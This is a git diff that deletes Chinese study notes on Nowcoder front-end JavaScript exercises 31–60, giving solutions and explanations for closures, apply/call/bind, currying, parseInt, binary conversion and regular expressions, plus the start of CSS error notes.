{ return 'b'; } -> } -> return getValue(); -> } -> ``` - -```js -// 方法一:使用函数表达式 -function functions(flag) { - if (flag) { - var getValue = () => { return 'a'; } - } else { - var getValue = () => { return 'b'; } - } - - return getValue(); -} - -// 上面的等同于下面的,变量提升 -function functions(flag) { - var getValue - if (flag) { - getValue = () => { return 'a'; } - } else { - getValue = () => { return 'b'; } - } - - return getValue(); -} -``` - -相关知识点: - -- 函数的定义方式 - -> 函数声明式:**函数声明在函数没有执行之前就已经在作用域中会提升,同名的声明会进行覆盖**,以下面的为准,那么程序执行的时候一直输出的就是b。 -> -> 函数表达式:使用**函数表达式**,还是会进行变量的提升,只不过这次提升的是变量getValue,在执行的时候,才会根据if语句的流程控制执行不同的函数。 - -### 32. 正确的使用 parseInt - -> 题目描述 -> 修改 js 代码中 parseInt 的调用方式,使之通过全部测试用例 -> 输入:'12' 输出:12 -> 输入: '12px' 输出:12 -> 输入: '0x12' 输出:0 - -```js -// 方法,确定是10进制 -function parse2Int(num) { - return parseInt(num,10); -} -``` - -相关知识点: - -- parseInt - -> parseInt经常用于强制类型转换中显式转换成数字,接收两个参数,返回数值或者NaN -> -> parseInt(string, radix) -> 第一个参数是字符串,必须传的。 -> 第二个参数是数字的基数,2-36,如果不传或者传0都是以10位基数来计算,如果小于2(不等于0)或者大于36一律返回NaN,如果'0x'开头为16进制,'0'开头不包括0是8进制。 -> -> parseInt强制类型转化的时候,**如果第一位不是数字就会返回NaN,如果第一位是数字,那么会把后面是数字的返回,不是数字的过滤掉。**如果是小数的话,**会向下取整成整数**。 - -### 33. 完全等同 - -> 题目描述 -> 判断 val1 和 val2 是否完全等同 - -```js -function identity(val1, val2) { - return val1 === val2 -} -``` - -相关知识点: - -- 等同 - -> == 和 === 的区别,简单来说在于,== 只判断值相同,遇到问题,=== 还要判断类型是否相同。 这里其实我觉得还需要考虑NaN的问题,NaN !== NaN - -### 34. 正确的函数定义 - -> 题目描述 -> 实现一个打点计时器,要求 -> -> 1. 从 start 到 end(包含 start 和 end),每隔 100 毫秒 console.log 一个数字,每次数字增幅为 1 -> 2. 返回的对象中需要包含一个 cancel 方法,用于停止定时操作 -> 3. 第一个数需要立即输出 - -```js -function count(start, end) { - // 第一个立即输出 - console.log(start++) - let time = setInterval(function () { - if(start >= end) clearInterval(time) - console.log(start++) - },100) - return { - // 返回的方法是一个函数 - cancel: function () { - clearInterval(time) - } - } -} -``` - -相关知识点: - -- setInterval - -> 计时器,如果第一个要立即输出,那么需要手动写一次。 -> 定义的时候接收两个参数,第一个是每次执行的函数,第二个是执行时间间隔。 -> 返回值接收计时器名称,可以用于清空计时器用。 - -- 闭包 - -### 35. [流程控制](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F8a7bff7ab0d345d5ac5c82e41d9f7115%3FtpId%3D2%26tqId%3D37889%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey) - -> 题目描述 -> 实现 fizzBuzz 函数,参数 num 与返回值的关系如下: -> 1、如果 num 能同时被 3 和 5 整除,返回字符串 fizzbuzz -> 2、如果 num 能被 3 整除,返回字符串 fizz -> 3、如果 num 能被 5 整除,返回字符串 buzz -> 4、如果参数为空或者不是 Number 类型,返回 false -> 5、其余情况,返回参数 num 输入: 15 ; 输出: fizzbuzz - -```js -// 方法一:if-else if-else -function fizzBuzz(num) { - // 如果num为空或者不传,isNaN都为true - if(isNaN(num)) return false - if(num % 3 === 0 && num % 5 === 0) { - return 'fizzbuzz' - } else if (num % 3 === 0) { - return 'fizz' - } else if (num % 5 === 0) { - return 'buzz' - } else { - return num - } -} - -// 方法二:观察合理使用if -function fizzBuzz(num) { - if (isNaN(num)) return false; - let str = ''; - if (num % 3 === 0) str += 'fizz'; - if (num % 5 === 0) str += 'buzz'; - - return str === '' ? num : str; -} -``` - -相关知识点: - -- 流程控制:if-else -- isNaN - -> isNaN(),遇到不是Number类型的判断都用这个函数,如果参数不是数字就返回true,其他的判断我觉得都不是这个题要考的。ES6之后新增了方法Number.isNaN() 判断是否是NaN - -- 取余 % - -### 36. [函数传参](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F80365a2685144559817e3d5e0c27f3a8%3FtpId%3D2%26tqId%3D37890%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey) - -> 题目描述 -> 将数组 arr 中的元素作为调用函数 fn 的参数 输入: -> function (greeting, name, punctuation) {return greeting + ', ' + name + (punctuation || '!');}, ['Hello', 'Ellie', '!'] -> 输出: -> Hello, Ellie! - -```js -// 方法一:量身定做,传的是数组 -function argsAsArray(fn, arr) { - return fn.apply(this,arr) -} - -// 方法二:如果用call就需要使用扩展符打散 -function argsAsArray(fn, arr) { - return fn.call(this,...arr) -} - -// 方法三:如果bind处理 -function argsAsArray(fn, arr) { - return fn.bind(this,...arr)() -} - -``` - -相关知识点: - -- apply/call/bind (详情见一的第一题) -- fn传参问题 - -### 37. [函数的上下文](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F5e97b94794bd438f893137b2d3b28a6a%3FtpId%3D2%26tqId%3D37891%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey) - -> 题目描述 -> 将函数 fn 的执行上下文改为 obj 对象 输入: -> function () {return this.greeting + ', ' + this.name + '!!!';}, {greeting: 'Hello', name: 'Rebecca'} -> 输出:Hello, Rebecca!!! - -```js -// 方法一:apply -function speak(fn, obj) { - return fn.apply(obj) -} - -// 方法一:call -function speak(fn, obj) { - return fn.call(obj) -} - -// 方法一:bind -function speak(fn, obj) { - return fn.bind(obj)() -} - -``` - -相关知识点: - -- this指向 - -> apply/call/bind 都可以修改执行上下文,如果直接调用fn,this指的是window,如果用 apply/call/bind 可以将this改成对象obj - -### 38. [返回函数](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F1f9fd23cdfd14675ab10207191e1d035%3FtpId%3D2%26tqId%3D37892%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey) - -> 题目描述 -> 实现函数 functionFunction,调用之后满足如下条件: -> 1、返回值为一个函数 f -> 2、调用返回的函数 f,返回值为按照调用顺序的参数拼接,拼接字符为英文逗号加一个空格,即 ', ' -> 3、所有函数的参数数量为 1,且均为 String 类型 -> 输入: -> functionFunction('Hello')('world') -> 输出: Hello, world - -```js -// 方法一:直接用扩展运算符获取参数 -function functionFunction(str) { - return function f(...arg) { - // 记得逗号之后要加一个空格,才能过oj - return str + ', '+arg - } -} - -// 方法二:用原生方法获取参数 -function functionFunction(str) { - return function() { - return str+ ', ' + arguments[0] - } -} - -``` - -相关知识点: - -- 闭包 + 柯里化 - -> 闭包是一个函数可以访问另一个函数作用域的变量。 - -### 39. [使用闭包](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F578026cd24e3446bbf27fe565473dc26%3FtpId%3D2%26tqId%3D37893%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey) - -> 题目描述 -> 实现函数 makeClosures,调用之后满足如下条件: -> 1、返回一个函数数组 result,长度与 arr 相同 -> 2、运行 result 中第 i 个函数,即 `result[i]()`,结果与 `fn(arr[i])` 相同 -> 输入: -> -> ```js -> [1, 2, 3], function (x) { -> return x * x; -> } -> -> ``` -> -> 输出:4 - -```js -// 闭包 -function makeClosures(arr, fn) { - let result = [] - for(let i = 0; i < arr.length; i++) { - result.push(function(){ - return fn(arr[i]) - }) - } - return result -} - -``` - -相关知识点: - -- 闭包 - -> 上面的题,如果不用闭包,那么for循环的嘶吼,最后调用函数的时候,i都是arr.length,如果使用闭包,可以是当时循环的i值。 - -### 40. 二次封装函数 - -> 题目描述 -> 已知函数 fn 执行需要 3 个参数。请实现函数 partial,调用之后满足如下条件: -> 1、返回一个函数 result,该函数接受一个参数 -> 2、执行 result(str3) ,返回的结果与 fn(str1, str2, str3) 一致 -> 输入: -> `var sayIt = function(greeting, name, punctuation) { return greeting + ', ' + name + (punctuation || '!'); }; partial(sayIt, 'Hello', 'Ellie')('!!!');` -> -> 输出:Hello, Ellie!!! - -```js -// 方法一:直接调用,因为没有涉及到this,这里直接用arguments来获取,因为arguments是类数组 -function partial(fn, str1, str2) { - return function result() { - return fn(str1,str2,arguments[0]) - } -} - -// 方法二:用扩展运算符拿到参数传入,更加的通用 -function partial(fn, str1, str2) { - return function result(...arg) { - return fn(str1,str2,arg) - } -} - -// 方法二:ES6箭头函数,this指的是undefined -const partial = (fn, str1, str2) => str3 => fn(str1, str2, str3) - -``` - -相关知识点: - -- 闭包 -- 获取函数参数arguments - -> arguments 类数组, -> 获取长度arguments.length -> 获取元素用数组下标arguments[0] -> 获取当前执行的函数 arguments.callee (ES5严格模式下禁用) - -后面的东西可能会上一些小难度~~~ diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23041-50.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23041-50.md" deleted file mode 100644 index 9e2e554b..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23041-50.md" +++ /dev/null @@ -1,369 +0,0 @@ ---- -icon: edit -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题05 - -### 41. 使用 arguments - -> 题目描述 -> 函数 useArguments 可以接收 1 个及以上的参数。请实现函数 useArguments,返回所有调用参数相加后的结果。本题的测试参数全部为 Number 类型,不需考虑参数转换。 -> 输入:1, 2, 3, 4 -> 输出:10 - -```js -// 方法一:直接遍历 -function useArguments() { - let count = 0 - for(let i = 0; i < arguments.length; i++) { - count+= arguments[i] - } - return count -} - -// 方法二:ES6,把arguments转化成数组用数组的方式相加 -function useArguments() { - return Array.from(arguments).reduce((prev, item) => prev + item, 0) -} -``` - -相关知识点: - -- arguments —— 函数参数的获取和类数组的运算。 - -### 42. 使用 apply 调用函数 - -> 题目描述 -> 实现函数 callIt,调用之后满足如下条件 -> 1、返回的结果为调用 fn 之后的结果 -> 2、fn 的调用参数为 callIt 的第一个参数之后的全部参数 -> 输入:无 输出:无 - -```js -// 方法一:把参数从第一个开始截取,然后调用apply -function callIt(fn) { - let newArr = Array.from(arguments).slice(1) - return fn.apply(this,newArr) -} -// 同 -function callIt(...arg) { - let newArr = arg.slice(1) - return arg[0].apply(this,newArr) -} - -// 方法二:使用解构赋值获取剩余参数 -function callIt(fn) { - let [arg, ...restArg] = arguments - return fn.apply(this, restArg) -} - -``` - -相关知识点: - -- apply/arguments - -### 43. 二次封装函数 - -> 题目描述 -> 实现函数 partialUsingArguments,调用之后满足如下条件: -> 1、返回一个函数 result -> 2、调用 result 之后,返回的结果与调用函数 fn 的结果一致 -> 3、fn 的调用参数为 partialUsingArguments 的第一个参数之后的全部参数以及 result 的调用参数 -> 输入: 无 输出:无 - -```js -// 方法一:用call直接扩展运算符 -function partialUsingArguments(fn) { - let args = [].slice.call(arguments,1) - return function result(...newArgs) { - return fn.call(this,...args,...newArgs) - } -} - -// 方法二:用apply接收数组 -function partialUsingArguments(fn) { - let args = [...arguments].slice(1); - return function result(...newArgs) { - return fn.apply(this,args.concat(newArgs)) - } -} - -// 方法三:bind -function partialUsingArguments(fn) { - let args = [...arguments].slice(1); - return function result(...newArgs) { - return fn.bind(this,...args,...newArgs)() - } -} - -``` - -相关知识点: - -- arguments/apply/call/bind - -### 44. 柯里化 - -> 题目描述 -> 已知 fn 为一个预定义函数,实现函数 curryIt,调用之后满足如下条件: -> 1、返回一个函数 a,a 的 length 属性值为 1(即显式声明 a 接收一个参数) -> 2、调用 a 之后,返回一个函数 b, b 的 length 属性值为 1 -> 3、调用 b 之后,返回一个函数 c, c 的 length 属性值为 1 -> 4、调用 c 之后,返回的结果与调用 fn 的返回值一致 -> 5、fn 的参数依次为函数 a, b, c 的调用参数 -> 输入 -> `var fn = function (a, b, c) {return a + b + c}; curryIt(fn)(1)(2)(3);` -> 输出 6 - -```js -function curryIt(fn) { - let len = fn.length // 函数的length就是参数个数 - let args = [] - return function (arg){ - args.push(arg) - if(len > args.length) { - return arguments.callee - } - return fn.apply(this, args) - } -} - -``` - -相关知识点: - -- 柯里化 - -> [函数式编程(三)—— 柯里化](https://juejin.cn/post/6863422127899590663) - -- 函数形参长度获取:fn.length - -### 45. 或运算 - -> 题目描述 -> 返回参数 a 和 b 的逻辑或运算结果 -> 输入: false, true ; 输出: true - -```js -// 方法一:直接或运算符 -function or(a, b) { - return a || b -} - -// 方法二:位运算中的或运算,返回0或者1,需要转化类型为布尔值 -function or(a, b) { - return a | b ? true : false -} - -``` - -相关知识点: - -- 或运算 - -> || 运算符,a和b都为false,才是false,其中一个有true,就是false -> | 运算符,是位运算,位置上都是0才返回0,位置上有一个1就返回1,如果返回需要布尔值,需要转化 - -### 46. 且运算 - -> 题目描述 -> 返回参数 a 和 b 的逻辑且运算结果 输入: -> false, true -> 输出: -> false - -```js -// 方法一:且运算符,返回布尔值 -function and(a, b) { - return a && b -} - -// 方法二:位运算的且运算符,返回 0 和 1,需要转化成布尔值 -function and(a, b) { - return a & b ? true : false -} - - -``` - -相关知识点: - -- 且运算 - -> && 运算符,a和b都为true,才是true,其中一个有false,就是false -> & 运算符,是位运算,位置上都是1才返回1,位置上有一个0就返回0,如果返回需要布尔值,需要转化 - -### 47. 模块 - -> 题目描述 -> 完成函数 createModule,调用之后满足如下要求: -> 1、返回一个对象 -> 2、对象的 greeting 属性值等于 str1, name 属性值等于 str2 -> 3、对象存在一个 sayIt 方法,该方法返回的字符串为 greeting属性值 + ', ' + name属性值 - -```js -// 方法一:对象 -function createModule(str1, str2) { - return { - greeting: str1, - name: str2, - sayIt: function (){ - return this.greeting + ', ' + this.name - } - } -} - -// 方法二: 构造函数 -function createModule(str1, str2) { - function Obj() { - this.greeting = str1 - this.name = str2 - } - Obj.prototype.sayIt = function () { - return this.greeting + ', ' + this.name - } - return new Obj -} - -``` - -相关知识点: - -- 模块化、构造函数、对象 - -### 48. 二进制转换 - -> 题目描述 -> 获取数字 num 二进制形式第 bit 位的值。注意: -> 1、bit 从 1 开始 -> 2、返回 0 或 1 -> 3、举例:2 的二进制为 10,第 1 位为 0,第 2 位为 1 -> 输入: 128,8 -> 输出: 1 - -```js -// 方法一:while循环 -function valueAtBit(num, bit) { - let arr = [] - while(num){ - arr.push(num % 2) - num = Math.floor(num / 2) - } - return arr[bit-1] -} - -// 方法二:位运算右移 >> 位数 - 1 然后取模 2 -function valueAtBit(num, bit) { - return (num >> bit - 1) % 2 -} - -``` - -相关知识点: - -- 二进制数值运算 -- 取模 -- 位运算符 左移 >> 右移 << 无符号位右移 <<< - -### 49. 二进制转换 - -> 题目描述 -> 给定二进制字符串,将其换算成对应的十进制数字 -> 输入:'11000000' -> 输出:192 - -```js -// 方法一:parseInt(str,2) - -// 方法二:((1 * 1) * 2 + 1 * 1) * 2 + 0 * 1 ... -function base10(str) { - let count = 0 - for(let i = 0; i < str.length; i++) { - count = count * 2 + str[i]*1 - } - return count -} - -// 方法三:1 * (2 ** 7) + 1 * (2 ** 6) + 0 * (2 ** 5) + ... -function base10(str) { - let num = 0 - for(let i = 0; i < str.length; i++) { - num += str[i] * Math.pow(2,str.length -1 - i) - } - return num -} - -``` - -相关知识点: - -- 进制转换 - -> 二进制转十进制,从最高位开始乘2,十进制转二进制,除2取余后取逆向 - -### 50. 二进制转换 - -> 题目描述 -> 将给定数字转换成二进制字符串。如果字符串长度不足 8 位,则在前面补 0 到满8位。 -> 输入:65 -> 输出:01000001(字符串) - -```js -// 方法一:转化之后检查位(算法思维,推荐) -function convertToBinary(num) { - let arr = [] - while(num) { - arr.push(num % 2) - num = num >> 1 - } - let str = '' - let len = arr.length > 8 ? arr.length : 8 - for(let i = len - 1; i >= 0; i--){ - str = arr[i] ? str + '1' : str + '0' - } - return str -} - -// 方法二: -function convertToBinary(num) { - let arr = [] - while(num) { - arr.push(num % 2) - num = Math.floor(num / 2) - } - while(arr.length < 8) { - arr.push('0') - } - return arr.reverse().join('') -} - -// 方法三:使用API转化成二进制然后看缺的(尽量不要前面加字符串,性能消耗大) -function convertToBinary(num) { - var str = num.toString(2); - while(str.length < 8) { - str = "0" + str; - } - return str; -} - -// 方法四:因为padStart无法过AJ -function convertToBinary(num) { - let arr = [] - while(num) { - arr.push(num % 2) - num = Math.floor(num / 2) - } - return arr.reverse().join('').padStart(8, '0') -} - -``` - -相关知识点: - -- 二进制转换 - -还有一个就胜利了,真的是由浅到难的深度~~~~ diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23051-60.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23051-60.md" deleted file mode 100644 index 05d26cd5..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23051-60.md" +++ /dev/null @@ -1,361 +0,0 @@ ---- -icon: edit -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题06 - -### 51. 乘法 - -> 题目描述 -> 求 a 和 b 相乘的值,a 和 b 可能是小数,需要注意结果的精度问题 -> 输入:3, 0.0001 -> 输出:0.0003 - -```js -// 方法一:确定小数的位数然后保证精度是多少位 -function multiply(a, b) { - let arrA = a.toString().split('.')[1] || '' - let arrB = b.toString().split('.')[1] || '' - let fix = arrA.length + arrB.length - return (a * b).toFixed(fix) -} - -// 方法二:自己写的 -function multiply(a, b) { - let arrA = a.toString().split('.') - let arrB = b.toString().split('.') - let count = 0 - // 第一个有小数位 - if(arrA[1]) { - count+=arrA.length - a = a * Math.pow(10,arrA.length) - } - // 第二个数有小数位 - if(arrB[1]) { - count+=arrB.length - b = b * Math.pow(10,arrB.length) - } - return a * b * Math.pow(10, -count) -} - -``` - -相关知识点: - -- javascript小数精度问题 - -> javascript的数值存储是双精度浮点数64位,根据IEEE 754标准,0-51为值,52-62位指数,63位是符号位。 -> 二进制浮点数表示法对0.1这样的有误差。 -> 解决方法就是先升幂再降幂。 - -### 52. [改变上下文](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2Fdfcc28bf243642b795eaf5a2a621acc5%3FtpId%3D2%26tqId%3D37906%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey):star: - -> 题目描述 -> 将函数 fn 的执行上下文改为 obj,返回 fn 执行后的值 -> 输入: `alterContext(function() {return this.greeting + ', ' + this.name + '!'; }, {name: 'Rebecca', greeting: 'Yo' })` -> 输出:Yo, Rebecca! - -```js -// 方法一:call -function alterContext(fn, obj) { - return fn.call(obj) -} - -// 方法一:apply -function alterContext(fn, obj) { - return fn.apply(obj) -} - -// 方法一:bind -function alterContext(fn, obj) { - return fn.bind(obj)() -} - -``` - -相关知识点: - -- call/apply/bind - -### 53. 批量改变对象的属性 - -> 题目描述 -> 给定一个构造函数 constructor,请完成 alterObjects 方法,将 constructor 的所有实例的 greeting 属性指向给定的 greeting 变量。 -> 输入: -> -> ```js -> var C = function(name) {this.name = name; return this;}; -> var obj1 = new C('Rebecca'); -> alterObjects(C, 'What\'s up'); obj1.greeting; -> -> ``` -> -> 输出:What's up - -```js -// 方法一:原型对象上添加属性 -function alterObjects(constructor, greeting) { - constructor.prototype.greeting = greeting -} - -复制代码 -``` - -相关知识点: - -- 原型链 - -### 54. 属性遍历 - -> 题目描述 -> 找出对象 obj 不在原型链上的属性(注意这题测试例子的冒号后面也有一个空格~) -> 1、返回数组,格式为 key: value -> 2、结果数组不要求顺序 -> 输入 -> -> ```js -> var C = function() {this.foo = 'bar'; this.baz = 'bim';}; -> C.prototype.bop = 'bip'; -> iterate(new C()); -> 复制代码 -> ``` -> -> 输出 `["foo: bar", "baz: bim"]` - -```js -// 方法一: forEach换成map更好,这里不是重点所以不做处理 -function iterate(obj) { - let arr = [] - Object.getOwnPropertyNames(obj).forEach(value => arr.push(`${value}: ${obj[value]}`)) - return arr -} -复制代码 -``` - -相关知识点: - -- Object.getOwnPropertyNames(obj), 获取所有的对象自身属性 - -### 55. 判断是否包含数字 - -> 题目描述 -> 给定字符串 str,检查其是否包含数字,包含返回 true,否则返回 false -> 输入: 'abc123' ; 输出: true - -```js -// 方法一:字符串比较ASCII码 -function containsNumber(str) { - for (let i = 0; i < str.length; i++) { - if(str[i] >= '0' && str[i] <= '9') { - return true - } - } - return false -} - -// 方法二:隐式类型转化 -function containsNumber(str) { - for (let i = 0; i < str.length; i++) { - if(str[i] >= 0 || str[i] <= 9) { - return true - } - } - return false -} - -// 方法三:正则 -function containsNumber(str) { - return /\d/g.test(str) -} -``` - -相关知识点: - -- 字符串比较ASCII码 - -> 字符串比较会比较他们的ASCII码值,数字是连续的ASCII码,0123456789分别是48-57,在这个范围内的就可以。 - -- 隐式类型转化 - -> 数字字符串和数字比较,会隐式转化成数字,字符串和数字比较,会转化成数字NaN,和数字比较返回false,所以这种方式也可以找到字符串中是否有数字。 - -- 正则 - -### 56. 检查重复字符串 - -> 题目描述 -> 给定字符串 str,检查其是否包含连续重复的字母(a-zA-Z),包含返回 true,否则返回 false -> 输入: 'rattler' -> 输出: true - -```js -// 方法一:双指针 -function containsRepeatingLetter(str) { - // 如果字符串长度小于2直接返回false - if(str.length < 2)return false - // 左右指针 - let left = 0 - let right = 1 - while(str[right]) { - // 如果左右相等且都是a-z范围的就返回true - if(str[left++] === str[right++] && str[left].toLowerCase() >= 'a' && str[left].toLowerCase() <= 'z' && str[right].toLowerCase() >= 'a' && str[right].toLowerCase() <= 'z'){ - return true - } - } - // 否则返回false - return false - -} - -// 方法二:正则,小括号表示分组,\1表示引用第一个分组 -function containsRepeatingLetter(str) { - return /([a-zA-Z])\1/.test(str); -} - -``` - -相关知识点: - -- 双指针(算法思维) -- 正则 - -### 57. 判断是否以元音字母结尾 - -> 题目描述 -> 给定字符串 str,检查其是否以元音字母结尾 -> 1、元音字母包括 a,e,i,o,u,以及对应的大写 -> 2、包含返回 true,否则返回 false -> 输入: 'gorilla' ; 输出: true - -```js -// 方法一:indexOf -function endsWithVowel(str) { - return ['a','e','i','o','u'].indexOf(str.slice(-1).toLowerCase()) === -1 ? false: true -} - -// 方法二:includes -function endsWithVowel(str) { - return ['a','e','i','o','u'].includes(str.slice(-1).toLowerCase()) -} -复制代码 -``` - -相关知识点: - -- 字符串方法slice,toLowerCase -- 数组方法indexOf,includes - -### 58. [获取指定字符串](https://link.juejin.cn?target=https%3A%2F%2Fwww.nowcoder.com%2Fpractice%2F4ec56ad04a9a4402a01e50a390a8060a%3FtpId%3D2%26tqId%3D37912%26rp%3D1%26ru%3D%2Factivity%2Foj%26qru%3D%2Fta%2Ffront-end%2Fquestion-ranking%26tab%3DanswerKey):star: - -> 题目描述 -> 给定字符串 str,检查其是否包含 连续3个数字 -> 1、如果包含,返回最先出现的 3 个数字的字符串 -> 2、如果不包含,返回 false -> 输入: '9876543' -> 输出: 987 - -PS: 这个题我们理解的是三个连续递增的数字,但是题的意思是连续的数字即可。 - -```js -// 方法一:计数器 -function captureThreeNumbers(str) { - let start = 0 - let count = 0 - for(let i = 0; i < str.length; i++) { - if (!isNaN(str[i])) { - count++ - } else { - count = 0 - start = i+1 - } - } - - return count >= 3 ? str[start]+str[start+1]+str[start+2] : false -} - -// 方法二:正则 match可以得到匹配的结果 -function captureThreeNumbers(str) { - let arr = str.match(/\d{3}/) - return arr ? arr[0] : false -} -``` - -如果是连续递增的数字,要这样实现: - -```js -// 方法一:双指针 -function captureThreeNumbers(str) { - let left = 0 - let right = 0 - while(str[right+1] !== undefined) { - // 保证右指针连续,且属于数字,右指针往过移动 - if(Math.abs(str[right+1] - str[right]) === 1 && str[right] >=0 && str[right] <=9) { - right++ - // 如果小于3,左指针就去右指针右边 - }else if(right - left + 1 < 3){ - left = ++right - // 大于3直接返回 - }else { - return str.substr(left,3) - } - } - // 循环结果,如果大于3就返回,否则返回false - return right - left + 1 >= 3 ? str.substr(left,3) : false -} -复制代码 -``` - -相关知识点: - -- 计数器 -- 正则 -- 双指针(算法思维) + 判断连续数字 - -### 59. 判断是否符合指定格式 - -> 题目描述 -> 给定字符串 str,检查其是否符合如下格式 -> 1、XXX-XXX-XXXX -> 2、其中 X 为 Number 类型 -> 输入:'800-555-1212' -> 输出:true - -```js -// 方法一:正则 -function matchesPattern(str) { - return /^\d{3}-\d{3}-\d{4}$/.test(str) -} -``` - -相关知识点: - -- 匹配或者判断什么格式就优先考虑正则 - -### 60. 判断是否符合 USD 格式 - -> 题目描述 -> 给定字符串 str,检查其是否符合美元书写格式 -> 1、以 `$` 开始 -> 2、整数部分,从个位起,满 3 个数字用 , 分隔 -> 3、如果为小数,则小数部分长度为 2 -> 4、正确的格式如:`$1,023,032.03` 或者 `$2.03`, -> 错误的格式如:`$3,432,12.12` 或者 `$34,344.3` -> 输入:`'$20,933,209.93'` -> 输出:true - -```js -// 方法一:正则,从左往右写,依次匹配 -function isUSD(str) { - return /^\$[\d]{1,3}(\,[\d]{3})*(|\.[\d]{2})$/.test(str) -} -复制代码 -``` - -相关知识点: - -- 正则 - -已经到底拉,60道题完事,恭喜你,通关啦~~~~ diff --git "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/CSS\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" "b/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/CSS\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" deleted file mode 100644 index 76ef0632..00000000 --- "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/CSS\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" +++ /dev/null @@ -1,99 +0,0 @@ ---- -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# CSS刷题【错题本】 - -1. css文件引入不会产生跨域问题,但字体的引入是可以产生跨域问题的 - -2. window.onerror 方法默认情况下无法获取跨域脚本的报错详情 - -3. canvas 中使用 drawImage 贴图会受跨域限制 - -4. a :link、a:hover、a:visited、a:active中,定义CSS时候的顺序不同,也会直接导致链接显示的效果不同。为了保证每个效果都能正确的触发,定义时的顺序应该为:link、visited、hover、active - -5. 要运用css3动画,需要运用@keyframes规则和animation属性 - -6. list-style-type 属性设置列表项标记的类型 - - square:标记是实心方块。 - -7. 下面哪些技术可用于优化 CSS 图片加载 ? - -8. **CSS Sprite:又称为CSS精灵或者雪碧图**,是一种网页图片应用处理方式。它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去,当访问该页面时,载入的图片就不会像以前那样一幅一幅地慢慢显示出来了。能很好地减少网页的http请求,从而大大的提高页面的性能。 - - **SVG Sprite**:与CSS Sprite类似。另外一种实现思路 \ + \。\用于定义可复用的形状,定义的现状不会展示出来,而是通过use元素引用来显示。 - - **Icon font**:图标字体,也叫字体图标,就是字体做的图标。能自由变化大小,且不会模糊。比图片小,加载快。可以任意改变颜色。 - - **Base64**:可以将一副图片数据编码成一串字符串,使用该字符串代替图像地址。图片的下载始终都要向服务器发出请求,而通过base64编码后可以随着 HTML的下载同时下载到本地,减少 http 请求。 - -9. **Background-position属性** - - 用处:配合background-image属性一起使用,用于设置背景图片在盒子中的位置 - - 参数:xpos ypos |x% y% |x y三种, - - 如果只写第一个水平方向的参数,第二个垂直方向的参数会默认为: - - center|50%|容器高度的一半px - - - - Xpos:规定水平方向的对齐方式,值有left,right,center - - Ypos:规定垂直方向的对齐方式,值有top,bottom,center - - - - x%:规定图片水平方向的距离。 - - 你会不会以为这个x%就是父级容器宽度的x%?那你就想错了哦,这里的x%指的是父级容器的宽度减去图片的宽度后的差值的x%。 - - 举个栗子:background-position:50%,20%; - - 图片的宽度为 imgwidth:100px;高度为 imgheight:100px; - - 容器的宽度为 conwidth:200px;高度为 conheight:200px; - - 那么此时图片的左顶点距离容器的左顶点的水平距离就是(conwidth-imgwidth)*50%=50px,而不是conwidth*50%=100px;(很好理解的吧,不然盒子宽度200px,图片宽度100px,又距离左边100px,岂不是50%没实现水平居中而紧靠右了吗?) - - 由此也可以算出图片的左顶点距离容器的左顶点的垂直距离为20px - - y%:对应x% - - - - x:图片距离容器水平方向距离 - - y:图片距离容器垂直方向距离 - -10. 1、颜色名 - 如:red,blue,green - 2、十六进制(红绿蓝) - - \#f00、#ff0000表示红色 - - 一般为3或者6位数字,题目4位??? - - 3、rgb(r,g,b) - 如:rgb(255,0,0)表示红色 - 4、hsl(Hue,Saturation,Lightness)/(色调、饱和度、亮度) - - hsl(0,100%,100%) - - 0:红色 - - 120:绿色, - - 240: 蓝色 - -11. border-top-width:默认值medium,定义中等的上边框。 - outline-width:默认值medium,规定中等的轮廓。 - -12. 行内元素与浮动元素发生重叠,边框、背景、内容都会显示在浮动元素之上 - 块级元素与浮动元素发生重叠,边框、背景会显示在浮动元素之下,内容会显示在浮动元素之上 - -13. diff --git "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/HTML\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" "b/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/HTML\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" deleted file mode 